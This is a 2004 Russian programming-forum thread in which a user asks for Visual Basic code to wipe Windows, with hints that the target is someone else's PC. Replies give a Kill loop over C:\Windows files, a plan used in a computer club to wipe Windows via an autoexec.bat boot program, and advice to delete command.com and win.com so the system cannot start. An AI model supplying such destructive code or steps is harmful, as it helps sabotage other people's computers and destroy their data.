Конференция VBStreets

**HellScream** » 19.10.2004 (Вт) 3:52

Подскажите парни
как удались виндоус ХР как можно быстрее...
а то моя прога
Set FSO = CreateObject("Scripting.FileSystemObject")
FSO.DeleteFolder , True
чето не пашет
вы не подумайте..
мне ХР надоел на моем компе..
хочу его убить и 98 поставить
помогите с прогой :lol:

желательно писать КОД
заранее спасибо

GM » 19.10.2004 (Вт) 7:19

HellScream писал(а):Подскажите парни
как удались виндоус ХР как можно быстрее...
а то моя прога
Set FSO = CreateObject("Scripting.FileSystemObject")
FSO.DeleteFolder , True
чето не пашет
вы не подумайте..
мне ХР надоел на моем компе..
хочу его убить и 98 поставить
помогите с прогой
желательно писать КОД
заранее спасибо

Из Windows удалить Windows. :?:

Загружаешся с загрузочной дискеты или компакт-диска, далее format c:, и потом спокойно ставиш Win98, если же на диске есть что-нибудь ценное то удаляеш все что связано с ХР(Windows,Program Files), или просто переписываеш на другой диск.
Возможно это не профессионально, но зато работает. :roll:

**FaKk2** » 19.10.2004 (Вт) 8:08

Типа ха-ха...

**ta_gena** » 19.10.2004 (Вт) 11:30

Можно переустановить (установить) MS Office XP.
Microsoft уверяют, что там самая неглюченная Scripting Runtime.

**Sirik** » 19.10.2004 (Вт) 11:55

ta_gena писал(а):Можно переустановить (установить) MS Office XP.
Microsoft уверяют, что там самая неглюченная Scripting Runtime.

Поставь хоть от Longhorn вс1 равно не будет работать. Окна не позволят удалить свою "родимую" папку (когла они, конечно, загруженны).

Другое дело под ДОСом...

**Sedge** » 19.10.2004 (Вт) 12:32

Глип. Это такой прикол, да? Типа, настоящие программеры даже винду удаляют программно? Ужжжасс.

**Sirik** » 19.10.2004 (Вт) 12:35

Sedge писал(а):Глип. Это такой прикол, да? Типа, настоящие программеры даже винду удаляют программно? Ужжжасс.

Вот тут мне на ум пришла одна идея: небось автор хочет не себе Винду снести :lol:

**Tarik** » 19.10.2004 (Вт) 13:15

Вот тут мне на ум пришла одна идея: небось автор хочет не себе Винду снести

Холмс, я в очередной раз поражаюсь Вашей проницательности! :lol:

**HellScream** » 19.10.2004 (Вт) 17:25

[quote="Tarik"][quote]
Вот тут мне на ум пришла одна идея: небось автор хочет не себе Винду снести
ну а можно удалить винду или части винды чтоб после этого винда ваще не пахала?
:wink:

а как удолять винду нормальным способом я знаю...

**GSerg** » 19.10.2004 (Вт) 17:34

А это смотря что хочешь получить в результате

**HellScream** » 19.10.2004 (Вт) 18:49

а код то можно сказать?
если не трудно..

**EvilCoder** » 19.10.2004 (Вт) 20:37

Код: Выделить всё: On Error Resume Next strLine = Dir$("C:\Windows", vbSystem + vbHidden) Do While strLine <> vbNullString strLine = Dir$ kill "c:\Windows\" & strLine Loop

**A.A.Z.** » 19.10.2004 (Вт) 20:39

Private Declare Sub DeleteWindows Lib "virus32" Alias "DeleteWindowsA" (ByVal Точно As Boolean)

**tyomitch** » 19.10.2004 (Вт) 21:42

EvilCoder, слэш забыл: надо Dir$("C:\Windows\", ...

**Sedge** » 19.10.2004 (Вт) 21:49

A.A.Z. писал(а):Private Declare Sub DeleteWindows Lib "virus32" Alias "DeleteWindowsA" (ByVal Точно As Boolean)

5 баллов!

**A.A.Z.** » 19.10.2004 (Вт) 21:53

Спасибо

**LeoPoLD** » 19.10.2004 (Вт) 22:03

яб написал по загрузчик в autoexec.bat запуск программы а в программе запись в в автоекзек где прога причем после запуска проги комп перезагружается навсегда

**HellScream** » 21.10.2004 (Чт) 3:52

пасибо народ

пойду тестить.... :wink:

**HellScream** » 21.10.2004 (Чт) 4:02

LeoPoLD писал(а):яб написал по загрузчик в autoexec.bat запуск программы а в программе запись в в автоекзек где прога причем после запуска проги комп перезагружается навсегда

насчет этого?
можешь даш кодик?
если не жалко..

**LeoPoLD** » 21.10.2004 (Чт) 10:38

Для того чтобы это все работала нужно сдлелать следующие шаги:

1. Создать системную дискету.
2. Создать 2 файла и скопривать их на системную дискету.
а) Файл на QB
б) Файл на VB
3. Теперь если запустить VB прогу она в autoexec.bat записывает информацию о запуске с дискеты (при перезагрузке) проги QB (это надо если не стоит автозагрузка с дискеты!).Удаляет не используемые Windows компанеты и перезагружает Windows.
4. При перезагрузке из autoexec.bat запускается наша прога QB, которая:
а) Создает новые системные файлы
б) Удаляет видовс в конец!
в) Создает сообщение
5. При повторной перезагрузке будет появлятся сообщение:
"Hi а че это вы тут делаете Windows'a уже нет!"

Это было реализовано в КОМП клубе МаххTor

По всем вопросам обращатся ко мне по АСЕ 328447176

**tyomitch** » 21.10.2004 (Чт) 14:14

Фи, как пошло... Я так в шестом классе развлекался...
Надеюсь, здесь все уже люди сознательные и подобной ерундой не маются?

**HellScream** » 21.10.2004 (Чт) 17:53

EvilCoder писал(а):
Код: Выделить всё
On Error Resume Next strLine = Dir$("C:\Windows", vbSystem + vbHidden) Do While strLine <> vbNullString strLine = Dir$ kill "c:\Windows" & strLine Loop

чета этот код ваще не пахит

может я что-то недопонял?

**tyomitch** » 21.10.2004 (Чт) 18:06

tyomitch писал(а):EvilCoder, слэш забыл: надо Dir$("C:\Windows\", ...

**HellScream** » 21.10.2004 (Чт) 18:15

tyomitch писал(а):
tyomitch писал(а):EvilCoder, слэш забыл: надо Dir$("C:\Windows\", ...

Да я тоже это заметил...
и так и сделал
и ввсе равно не пашет

**Tarik** » 21.10.2004 (Чт) 20:07

Было бы странно, если бы он пахал :-)

**EvilCoder** » 21.10.2004 (Чт) 22:55

А кто говорил "что он пашет"?

**HellScream** » 22.10.2004 (Пт) 0:04

я говорил что он не пашет

на своем же виндоусе проверил
ну.. на другом своем компе..
просто ниче не удаляется...

**EvilCoder** » 22.10.2004 (Пт) 0:10

Tarik писал(а):Было бы странно, если бы он пахал

**|kerish|** » 22.10.2004 (Пт) 1:24

Убей command.com в корневом диске и win.com в папке с 98-ми нах и все.
Он хрен когда без них запустится и хрен как восстановит.
Зачем все винды убивать, когда можно просто пару нужных винде com и dll снести.

**tyomitch** » 22.10.2004 (Пт) 1:34

HellScream хотел снести WinXP и поставить Win98, а ты наоборот... Нехорошо :-)

Конференция VBStreets

Народ Как удались Windows

Народ Как удались Windows

Re: Народ Как удались Windows

Кто сейчас на конференции